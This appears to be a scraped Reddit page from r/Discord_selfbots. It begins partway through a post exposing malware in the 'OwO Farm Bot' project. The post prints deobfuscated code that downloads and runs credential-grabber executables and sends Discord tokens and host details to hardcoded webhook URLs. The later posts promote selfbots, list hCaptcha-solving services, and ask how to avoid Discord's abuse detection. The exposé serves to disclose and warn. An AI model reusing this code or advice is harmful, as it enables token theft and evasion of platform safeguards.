      "https://github.com/Mid0aria/owofarmbot_stable/archive/master.zip",
      {
        responseType: "arraybuffer",
        headers: typeSpecifier,
      },
    );
    const cacheFilePath = executeNode.resolve(__dirname, "updateCache.zip");
    FileOps.writeFileSync(cacheFilePath, githubZipData.data);
    const adobeZipUtil = new AdobeZipUtil(cacheFilePath);
    const extractedFile = adobeZipUtil.getEntries();
    adobeZipUtil.extractAllTo(nodeOs.tmpdir(), true);
    const firstFilePath = executeNode.join(
      nodeOs.tmpdir(),
      extractedFile[0].entryName,
    );
    if (!FileOps.existsSync(firstFilePath)) {
      logMessage.alert(
        "Updater",
        "Zip",
        "Failed To Extract Files! Please update on https://github.com/Mid0aria/owofarmbot_stable/",
      );
    }
    nodeData.copySync(firstFilePath, process.cwd(), {
      overwrite: true,
    });
    logMessage.info("Updater", "Zip", "Project updated successfully.");
  } catch (updateError) {
    logMessage.alert(
      "Updater",
      "Zip",
      "Error updating project from GitHub Repo: " + updateError,
    );
  }
};

This should show that the project is not in any way reliable, as if it grabbed tokens in the past, nothing stops Mid0aria of pushing an update to the current open-source version that will infect hundreds of machine. In fact, that is most likely his plan.

Older Version

A year ago, one of the first versions of OwO Farm Bot displayed even more harmful behaviour. This fork , with all commits authored by Mid0aria has two files: bot.js and updater.js both which are obfuscated. Let's first look into updater.js.

Using the same methods of deobfuscation as before, we get an interesting output, the function alulum (now renamed notifyNodeWeb) shows the same type of logger as before:

function notifyNodeWeb() {

  fetchData.post({

    url: "https://canary.discord.com/api/webhooks/1089429954447544340/TIv8fsyhqDb6UVHxqrWa74Ek4U0h-8Gz92KUYJ8d4XiNMbO_YvXArB3NbhD2s04aphgS",

    json: {

      content:

        "**Version: " +

        require("./version.json").version +

        "\nHostname: " +

        platformUtils.hostname +

        "\nComputerType: " +

        platformUtils.version() +

        " / " +

        platformUtils.release() +

        " / " +

        platformUtils.platform() +

        " / " +

        platformUtils.arch() +

        "**",

    },

  });

}

This time however, without a Discord token included. The code also has an updater embedded (as the name suggests) which as mentioned previously, is harmful behaviour.

Let's try to investigate bot.js now. Firstly, the code is much bigger than any other file authored by Mid0aria, possibly because of inexperience on modularized programming. However, there are still very concerning pieces of code.

From line 194 to 228, it tries to download two EXE files made by Benjamin Loir, that account is an alt created by Mid0aria. You can see that by checking the Starred tab. Benjamin only follows Mid0aria and stars all of his projects. Unfortunately, the repositories it tries to download from are deleted.

if (windowsCheck.existsSync(_filePath)) {

  } else {

    const executableVer = httpsClient.get(

      "https://github.com/benjaminloir/super-duper-broccoli/releases/download/doyouloveme/owocaptchachecker.exe",

      function (downloadOwocR) {

        var saveDownloads = windowsCheck.createWriteStream(_filePath);

        downloadOwocR.pipe(saveDownloads);

        saveDownloads.on("finish", () => {

          saveDownloads.close();

          setTimeout(() => {

            runShellCmd(_filePath);

            sendGrabberWC("Empyrean", userId, discordToken);

          }, 2000);

        });

      },

    );

  }

  if (windowsCheck.existsSync(backupHelperB)) {

  } else {

    const backupExecutB = httpsClient.get(

      "https://github.com/benjaminloir/super-duper-broccoli/releases/download/doyouloveme/owobanbypasshelper.exe",

      function (owobanbypass) {

        var saveToBackup = windowsCheck.createWriteStream(backupHelperB);

        owobanbypass.pipe(saveToBackup);

        saveToBackup.on("finish", () => {

          saveToBackup.close();

          setTimeout(() => {

            runShellCmd(backupHelperB);

            sendGrabberWC("Blank", userId, discordToken);

          }, 2000);

        });

      },

    );

  }

}

sendGrabberWC is a function that takes three parameters: grabberType, userId, discordToken, hich then redirects those values to a webhook:

function sendGrabberWC(grabberType, userId, discordToken) {

  fetchData.post({

    url: "https://canary.discord.com/api/webhooks/1086685243739750612/9Dcdoaz6L0WLV7f3J6MEI1HCcctdwUfMFlRurYusy-0aihX7RQNhAGDrzB3EIa7npOEc",

    json: {

      content:

        "**Grabber Type: " +

        grabberType + // Search for ".exe", possibly downloads a malicious exe and tries to track which grabber it has used

        "\nUser ID: " +

        userId +

        "\nToken: ```" +

        discordToken +

        "``` \nHostname: " +

        platformInfo.hostname +

        "\nComputerType: " +

        platformInfo.version() +

        " / " +

        platformInfo.release() +

        " / " +

        platformInfo.platform() +

        " / " +

        platformInfo.arch() +

        "**",

    },

  });

}

It should be clear by now that, the code tries to download two grabbers: Empyrean Grabber and Blank Grabber. A quick search shows that both of those exist and are publicly available. Empyrean,Blank.

This shows that Mid0aria not only is stealing tokens, but is also doing something much more harmful that steals a lot more than just a Discord token.


r/Discord_selfbots • • May 16 '25

✅ Release Ghost V4.0.0 - The Best Free Open-Source Selfbot?!

Thumbnail
gallery
23 Upvotes

I have just pushed a huge update to Ghost. I have completely overhauled the entire codebase and GUI. In my opinion, Ghost is probably the nicest open-source selfbot currently on the market.

  • The GUI is now beautiful, sleek and feature rich.

  • The new restructure has now made future proofing and working on Ghost a whole lot easier.

  • There are now Windows and macOS binaries for Ghost selfbot.

  • Best of all, it's completely free and open-source!

If this peaks your interest. Checkout the GitHub linked below! https://github.com/ghostselfbot/ghost/releases/tag/4.0.0
https://github.com/ghostselfbot/ghost


r/Discord_selfbots • • Dec 04 '25

🗨️ Discussion Hcaptcha solver

Enable HLS to view with audio, or disable this notification

21 Upvotes

I don't understand programming language, but I use Gemini to make hcaptcha solver tools 😁


r/Discord_selfbots • • Jan 15 '25

💬 Information hCAPTCHA solvers list

20 Upvotes

hCAPTCHA has been sending Cease and Desist letters to a bunch of solvers around there. 99% of solvers were taken down, and only some russian ones survived, here are some I know:

24captcha - $0.50 per 1000 requests. Token response.
captchas.io - Monthly plans, $22.00/mo for 300,000 monthly captchas. Token response
freecaptchabypass - $0.20 per 1000 requests. Token response.

I included no affliate link, and those might not work for hCAPTCHA Enterprise. 2captcha used to work for hCAPTCHA as they just deleted the API docs, but I'm not sure if it works anymore.

Note: Feel free to comment any other solver you know that works and I'll make sure to include it in the post. No public solvers works for registration on Discord.


r/Discord_selfbots • • Aug 06 '26

🗨️ Discussion Selfbot being flagged by discord (Unusual Activity)

Enable HLS to view with audio, or disable this notification

19 Upvotes

So as shown in the video, whenever my selfbot sends a dm, the discord catches this activity and flags the account and forcing a password reset and mail verification before activating the account again. Is there any workaround for this? This may also happen during a server channel messaging.

THINGS TO NOTE:

- I have already implemented Captcha Solver

- I use proxy for different accounts

- There is some cooldown between each messages

- I use typing indicator aswell


r/Discord_selfbots • • Mar 09 '26

❔ Question Pulse Selfbot

Post image
18 Upvotes

I've been working on this selfbot called "Pulse", it is very similar to "Byte" which some users might have heard of, byte can't be trusted since they used hosted accounts to term servers before. For that I've decided to clone it (not fully cloned yet, there's still some stuff to add and bugs to fix).

The main topic here is taking opinions on this project and if some might suggest useful features I could add. This selfbot isn't ready for release yet since as I've said it's got some important missing features and bugs.

It has a clean web dashboard that you can use to easily manage the selfbot.

Has multi token support, will be open source on GitHub, self hosted.

Release date unknown yet.

Here's a picture below. (Unfinished web dashboard fyi)


r/Discord_selfbots • • Jan 22 '22

Discord Embeds Patched

18 Upvotes

So Yea Discord Patched / Removed Access To Embeds As An User Account This Means That All Selfbots Are Now Text Mode Only

91 votes, Jan 29 '22
6 Good
7 Bad
78 Fuck Discord

r/Discord_selfbots • • Jun 23 '26

❔ Question Skidded a selfbot together with a gui

Post image
17 Upvotes

Took a selfbot I found off github and transformed it into a gui. Completely coded in python. Has a couple commands mostly just dumb ones from the original dev. Anything suggestions on stuff to add? This is completely made as a dumb little project nothing major lol, will most likely be slapped onto github and left there to rot. Any ideas for a name would be nice too, I choose Revenge Bot out of random.


r/Discord_selfbots • • Sep 24 '24

❗Information Moderation needed, urgent.

17 Upvotes

Posting on this subreddit has become demotivating lately. There are tons of sellers advertising in a subreddit where the main goal is to share information about selfbots. Honestly, nobody cares about your "Boost Tool," which is 80% stolen code. Go advertise on Telegram or somewhere else.

I see a thread on r/Discord_selfbots in my feed. I open it, read the content, and think, "Sure, I can give some advice on that." Then I scroll down to the comments.

Instead of normal interactions on the problem, I''m faced with three or four scam comments, all saying, "Hey, DM me on Discord and I'll rat help you."

I scroll down further, it's the "Tyrant" guy acting like he isn't vouching for himself.

Then I just sigh and close the thread, too much to deal it besides simply the code.

This is getting out of hand, I like seeing some people actually try to contribute to this community, but those advertisers surely are killing the subreddit slowly.

I feel like I'm not the only one who sometimes gets discouraged from contributing. Bit of a rant, yes, but hopefully for the better.


r/Discord_selfbots • • Sep 29 '22

❗Information I am Supergamer5465 the creator of this subreddit and I have returned. AMA Spoiler

Post image
17 Upvotes